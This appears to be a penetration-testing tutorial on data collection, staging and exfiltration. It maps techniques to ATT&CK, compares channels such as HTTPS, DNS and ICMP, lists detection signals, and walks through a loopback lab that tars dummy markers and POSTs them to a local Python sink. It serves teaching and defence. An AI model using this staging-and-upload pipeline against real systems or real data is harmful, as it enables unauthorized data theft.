Data Exfiltration Techniques: Staging, HTTPS, DNS, ICMP & Covert Channels

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package Python 3.13.12
curl / tar / tcpdump (lab capture)
Lab environment Pentest lab
Privilege Normal user (kali) for the Python and file lab; sudo only for tcpdump on lo or package installs
Cert prep CompTIA PenTest+ PT0-003 — post-exploitation / data transfer concepts
Scope Concepts and detection for data staging and exfiltration (HTTPS, DNS, cloud/web, FTP, SFTP, email, ICMP, physical). Safe lab stages dummy markers and posts an archive to a loopback sink. Not covert-channel engineering, DNS/ICMP tunnel recipes, stealth TLS config, or real-data theft.
Short on time?Beta Get the gist of this 12-minute read in seconds, then ask follow-up questions

Attackers do not only steal a file. They usually work in three moves: gather data, prepare it, then send it out. This lesson explains those words, maps them to ATT&CK, compares common channels, and runs one safe localhost transfer demo with dummy text only.

When you finish, you should be able to:

  • Tell collection, staging, and exfiltration apart in a report
  • Map staging and common exfil patterns to ATT&CK IDs
  • Prove a dummy archive transferred intact (matching hashes) without building a covert tunnel
IMPORTANT
Run these steps only on systems you own or are explicitly authorized to test. Put scope in your rules of engagement. Use dummy files only. Do not build DNS or ICMP tunnels, configure stealth egress, or move real client data.

Collection vs staging vs exfiltration

Think of a short pipeline. Each step has a different job:

Stage What it means Example in a lab
Collection Gather interesting material on the host or share Copy marker text files into a working folder
Staging Prepare and aggregate before transfer tar/gzip several markers into one archive
Exfiltration Move data outside the environment POST the archive to a controlled sink

Collection to staging to exfiltration flow

In ATT&CK, staging sits under Collection (T1074), not under the Exfiltration tactic. Exfiltration techniques describe how data leaves:

Concept ATT&CK
Local staging T1074.001
Remote staging T1074.002
Exfiltration over C2 T1041
Exfiltration over alternative protocol T1048
Exfiltration over web service T1567

Exfiltration is also not the same as command and control. Keep the goals separate:

  • C2 — how an operator tasks an agent (commands in)
  • Exfiltration — how data leaves (data out)

Some protocols can carry both. Your report should still say which goal you saw.


Why attackers stage data

Staging happens inside the environment, before anything leaves. It can happen on the same host or on another internal system that aggregates data from several compromised hosts before exfiltration.

Attackers stage so they can:

  • Compress many small files into one transfer
  • Group related material and open fewer outbound sessions
  • Shape size and format before it hits egress controls

Archiving or compressing collected data before transfer can map to T1560 (Archive Collected Data), while the staging location itself maps to T1074. The useful signal for defenders is bulk file access, then archive creation, then outbound transfer.

Every file in this article is a dummy marker. Never practice with production data.


Common data exfiltration channels

Use this table as a map, not a build list. HTTPS is not automatically covert, and staging is not a channel. A covert channel uses a communication mechanism in an unintended way to carry information while trying to avoid ordinary monitoring or policy controls. You do not need to implement one to understand the idea.

Channel Why it may be used Detection hint
HTTPS Commonly allowed outbound; content encrypted Volume, destination, process
DNS Often permitted through resolvers; low-bandwidth carrier Entropy, label length, query rate
Cloud / SaaS Uses trusted business services Identity and object audit logs
FTP Simple file transfer; legacy environments may still allow it Plaintext credentials/data, unusual peers
SFTP Encrypted transfer over SSH Rare SSH destinations, transfer volume, process correlation
Email Data attached to or embedded in messages, delivered through normal mail infrastructure Size spikes, odd recipients, DLP hits
ICMP Can carry arbitrary payload bytes Protocol rarity, size, asymmetry
Physical / removable Bypasses network monitoring Device and physical controls

HTTPS

HTTPS is a common path because many networks already allow web browsing outbound. TLS encrypts the request body, so someone who only watches cleartext HTTP fields cannot read the file.

Defenders can still see metadata without decrypting the body:

  • Where the traffic went (IP, hostname context)
  • How much data moved and when
  • Which process opened the connection

This lesson does not cover TLS bypass or “blend in” client tricks. The lab below uses plain HTTP on loopback so you can see the bytes and match hashes. Treat that as a teaching sink you control, not as a stealth recipe.

DNS

DNS lookups leave most networks. Attackers can encode small chunks into DNS names or records and send them through ordinary DNS infrastructure, although the resulting labels often become unusually long, repetitive, or high-entropy.

At a high level (this is not a tunnel recipe):

  • Split data into short encoded pieces
  • Put each piece in a DNS name under a domain they control
  • Rebuild the file on the server that answers those names

Defenders often watch for:

  • Unusually long or random-looking labels
  • Many queries to one odd zone
  • Rare record types used as a data pipe

In a DNS log, compare suspicious subdomain length and randomness against that host’s normal baseline. We do not run a DNS tunnel in this lesson.

ICMP

ping uses ICMP echo to ask “are you there?” Misuse means turning that into a data pipe, for example stuffing payload bytes into echo packets or keeping a long, busy stream that is not normal troubleshooting.

Ordinary ICMP echo traffic is usually brief and low-volume. Sustained or asymmetric ICMP payload traffic from a non-networking process is more suspicious. This article does not deploy ICMP tunnels.


C2 channel vs alternative protocol vs web service

When data leaves, ATT&CK asks which pattern you saw, not only which port:

Pattern Meaning ATT&CK
Existing C2 channel Data leaves over the same channel used for tasking T1041
Alternative protocol A different protocol is used specifically to move data T1048
Web service Data is uploaded through a SaaS, cloud, or web API T1567

The ATT&CK mapping depends on the role of the channel, not just the protocol. HTTPS can be T1041 when it is the existing C2 path, or T1567 when the transfer is through a web service. DNS or ICMP used only to carry files is usually T1048.


Other staging and hiding methods

These help hide or prepare data on disk. They are not network exfiltration channels by themselves:

  • Steganography — hides a message inside another file (often an image). Something else still has to move the carrier out. Hands-on embed and extract on Kali: image steganography.
  • NTFS Alternate Data Streams (ADS) — stores extra bytes beside a normal-looking file on Windows. ADS stages or hides locally; HTTPS, SMB, removable media, or another method still has to get the stream off the host. This Kali lab does not create ADS.

Safe localhost transfer lab

You will:

  1. Collect two dummy text markers
  2. Stage them into one small archive (tar can map to T1560; the location maps to T1074)
  3. Transfer that archive to a sink on 127.0.0.1 only
  4. Prove the bytes match with sha256sum

Optionally watch TCP on loopback (lo). Nothing leaves your machine, and no trust boundary is crossed.

Create the lab folders as user kali:

bash
mkdir -p ~/exfil-lab/{source,stage,sink} && cd ~/exfil-lab

mkdir prints nothing when it succeeds. You should now be inside ~/exfil-lab with empty source, stage, and sink directories.

Write the first dummy marker (no real secrets):

bash
printf 'GLC-EXFIL-MARKER-001 authorized-lab-dummy\n' > source/marker-a.txt

printf is quiet on success, so add a second marker the same way:

bash
printf 'GLC-EXFIL-MARKER-002 no-real-secrets\n' > source/marker-b.txt

List what you collected. You want both marker files under source/:

bash
ls -la source/
output
total 16
drwxrwxr-x 2 kali kali 4096 Sep  5 10:15 .
drwxrwxr-x 5 kali kali 4096 Sep  5 10:15 ..
-rw-rw-r-- 1 kali kali   42 Sep  5 10:15 marker-a.txt
-rw-rw-r-- 1 kali kali   37 Sep  5 10:15 marker-b.txt

Those two files are your collection. Next, stage them by packing and compressing into one archive:

bash
tar -czf stage/markers.tgz -C source .

tar is quiet on success. List what landed inside the archive:

bash
tar -tzf stage/markers.tgz
output
./
./marker-a.txt
./marker-b.txt

Both markers are inside. Measure how small the staged object is:

bash
wc -c stage/markers.tgz
output
233 stage/markers.tgz

About 233 bytes is a tiny staged object. That size is what you will transfer next.

Save this short loopback sink as ~/exfil-lab/sink/receive.py. It only listens on 127.0.0.1 and writes uploaded bytes to sink/received/:

python
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
import time

SINK = Path(__file__).resolve().parent / "received"
SINK.mkdir(exist_ok=True)

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        if self.path != "/upload":
            self.send_error(404)
            return
        n = int(self.headers.get("Content-Length", "0"))
        if n <= 0 or n > 1024 * 1024:
            self.send_error(400)
            return
        body = self.rfile.read(n)
        out = SINK / f"upload-{int(time.time())}.bin"
        out.write_bytes(body)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok\n")
        print(f"saved {out.name} ({len(body)} bytes)")

    def log_message(self, fmt, *args):
        print(f"[{time.strftime('%H:%M:%S')}] {fmt % args}")

print("sink on http://127.0.0.1:18787")
ThreadingHTTPServer(("127.0.0.1", 18787), H).serve_forever()

Start the sink and leave that terminal open. A good start prints the listen line and then waits:

bash
python3 ~/exfil-lab/sink/receive.py
output
sink on http://127.0.0.1:18787

In a second terminal, POST the staged archive. The curl command cheat sheet covers --data-binary and related flags:

bash
curl -sS -X POST --data-binary @~/exfil-lab/stage/markers.tgz http://127.0.0.1:18787/upload
output
ok

ok means the sink accepted the POST. On the sink terminal you should also see a saved upload-….bin line. Prove the received bytes match the staged archive:

bash
sha256sum ~/exfil-lab/stage/markers.tgz ~/exfil-lab/sink/received/upload-*.bin
output
18d5256d7e17fc466a8dd0a54a21ca36c63707d21173ea61b9c4fc897fde95fd  /home/kali/exfil-lab/stage/markers.tgz
18d5256d7e17fc466a8dd0a54a21ca36c63707d21173ea61b9c4fc897fde95fd  /home/kali/exfil-lab/sink/received/upload-1788617740.bin

Matching hashes prove the staged object was transferred intact to the controlled sink. Because both endpoints are on localhost, this demonstrates the mechanics of exfiltration without actually crossing a network or security boundary. On a real engagement the sink would be tester-owned infrastructure named in the RoE, not a random internet host.

Optional: watch packet characteristics on loopback while you POST again. Capturing on lo usually needs elevated privileges for tcpdump:

bash
sudo tcpdump -i lo -c 12 -nn 'tcp port 18787'
output
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:15:52.404061 IP 127.0.0.1.47156 > 127.0.0.1.18787: Flags [S], seq 4117119706, win 65495, options [mss 65495,sackOK,TS val 1027526220 ecr 0,nop,wscale 10], length 0
10:15:52.404097 IP 127.0.0.1.18787 > 127.0.0.1.47156: Flags [S.], seq 626403021, ack 4117119707, win 65483, options [mss 65495,sackOK,TS val 2156750457 ecr 1027526220,nop,wscale 10], length 0
10:15:52.404267 IP 127.0.0.1.47156 > 127.0.0.1.18787: Flags [P.], seq 1:390, ack 1, win 64, options [nop,nop,TS val 1027526221 ecr 2156750457], length 389
10:15:52.408763 IP 127.0.0.1.18787 > 127.0.0.1.47156: Flags [P.], seq 1:94, ack 390, win 64, options [nop,nop,TS val 2156750461 ecr 1027526221], length 93
12 packets captured

In that capture, look for:

  • A short TCP handshake (Flags [S] then [S.])
  • One or more data segments carrying the HTTP request and archive payload
  • A short reply from the sink

Defenders can still use flow size, timing, destination, and process context even when TLS hides the application payload.

Stop the sink with Ctrl+C when you are done.


How defenders detect staging and exfiltration

Start with host staging signals, then join them to egress. Useful clues include:

Signal Why it matters
Bulk file reads followed by archive creation Collection → staging sequence
New archive in temp or user-writable directory Staging indicator
Archive creation followed quickly by outbound transfer Strongest correlation
Unusual SaaS/cloud object creation or upload Web-service exfiltration may be visible in provider audit logs
Unusual outbound volume Large or bursty transfers after quiet collection
Entropy / length anomalies Long DNS labels, odd record sizes
Rare destinations or new domains First-seen egress peers
Rare protocols for that host Sustained ICMP data patterns, unexpected FTP, and similar
Process + network correlation Office app vs unknown binary opening egress
Egress control gaps Direct internet from servers that should only use a proxy

Write the staging-then-egress pairing in the finding when you see it. That story is stronger than either signal alone.


What to put in the report

For each finding, fill these fields so a reader can replay the story:

Field What to write
Data classification/type Dummy markers, logs, credentials category, PII category, source-code category. Describe the type, not the real secret
Source Host, path, account
Channel HTTPS, DNS, ICMP, cloud, email, physical, and so on
Destination Controlled sink named in the RoE
Volume Bytes or object count
Time window When collection/staging started and when outbound transfer occurred
ATT&CK mapping T1074.001, T1041, T1048, T1567, T1560 as applicable
Evidence source Process log, file creation, proxy log, DNS log, packet capture, cloud audit log
Detection outcome What logging or controls would / would not have caught it

When you assemble the full deliverable, follow the penetration test report structure for narrative and evidence.


Troubleshooting

Symptom Likely cause Fix
curl cannot connect to :18787 Sink not running Start receive.py; confirm ss -ltn | grep 18787
Hash mismatch after POST Wrong file path or partial upload Re-run sha256sum on the exact paths you posted
tcpdump permission denied Capturing on lo needs elevation Use sudo tcpdump, or skip the packet section
Empty sink/received/ POST never reached the handler Check curl URL and sink terminal logs

Summary

Remember the pipeline: collection gathers material, staging prepares it (local or remote, often under T1074), and exfiltration moves it out (T1041, T1048, or T1567). HTTPS often hides file contents from simple inspection. DNS and ICMP misuse are usually slower and noisier in different ways. Steganography and NTFS ADS can hide or stage content on disk, but they are not network channels by themselves.

In the localhost lab you staged dummy markers, packed them, and POSTed the archive until the hashes matched. That practices transfer mechanics without crossing a security boundary or building a covert channel. Next, tie the finding language to your RoE, or study C2 on the frameworks overview when the engagement needs a control plane rather than a one-way data move.


References

  • MITRE ATT&CK — Exfiltration — tactic overview
  • Data Staged (T1074) — local and remote staging
  • Archive Collected Data (T1560) — archiving before transfer
  • Exfiltration Over C2 Channel (T1041)
  • Exfiltration Over Alternative Protocol (T1048)
  • Exfiltration Over Web Service (T1567)

Frequently Asked Questions

What is the difference between data staging and exfiltration?

Staging prepares and aggregates data inside the environment, for example by compressing files into one archive. In ATT&CK that is usually Collection technique T1074. Exfiltration is the transfer of that data outside the environment to an attacker- or tester-controlled destination.

How does DNS exfiltration work at a high level?

Small encoded chunks are placed in DNS query names or records and sent as lookups to infrastructure the adversary controls. The receiving side reassembles the chunks. Labels are often long, repetitive, or high-entropy rather than looking like ordinary names. This lesson does not build or operate a DNS tunnel.

Why is HTTPS used for exfiltration?

Many networks already allow web egress, and TLS encrypts the body so simple cleartext inspection cannot read the file. Defenders still use destination, volume, timing, and process correlation.

What is the difference between exfiltration over C2 and an alternative channel?

Exfiltration over C2 (T1041) means data leaves on the same channel used for tasking. An alternative protocol (T1048) means a different protocol is used mainly to move data. Web-service uploads (T1567) use SaaS or cloud APIs. Name which pattern you observed in the report.

How is exfiltration different from C2?

C2 is the control plane used to task an agent. Exfiltration is the movement of data out of the environment. Some protocols can carry both, but reports should state which objective you observed.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)